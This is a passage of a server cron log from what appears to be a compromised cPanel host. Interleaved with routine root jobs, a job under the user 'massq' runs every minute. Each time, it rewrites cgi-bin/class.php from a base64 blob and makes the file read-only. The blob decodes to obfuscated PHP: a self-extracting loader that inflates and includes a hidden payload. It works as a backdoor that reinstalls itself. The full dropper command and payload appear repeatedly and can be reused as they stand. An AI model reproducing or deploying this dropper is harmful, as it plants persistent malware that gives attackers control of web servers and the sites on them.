/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:45:01 server CROND[22096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:45:01 server CROND[22097]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 04:45:01 server CROND[22098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 04:46:01 server CROND[22208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:47:01 server CROND[22367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:48:01 server CROND[22431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:49:01 server CROND[22500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:50:01 server CROND[22566]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 04:50:01 server CROND[22567]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 04:50:01 server CROND[22569]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 04:50:01 server CROND[22568]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 04:50:01 server CROND[22571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:51:01 server CROND[22693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:52:01 server CROND[22748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:53:01 server CROND[22819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:54:01 server CROND[22992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:55:01 server CROND[23066]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 04:55:01 server CROND[23068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:55:01 server CROND[23067]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 04:56:01 server CROND[23176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:57:01 server CROND[23244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:57:01 server CROND[23245]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 04:58:01 server CROND[23311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRV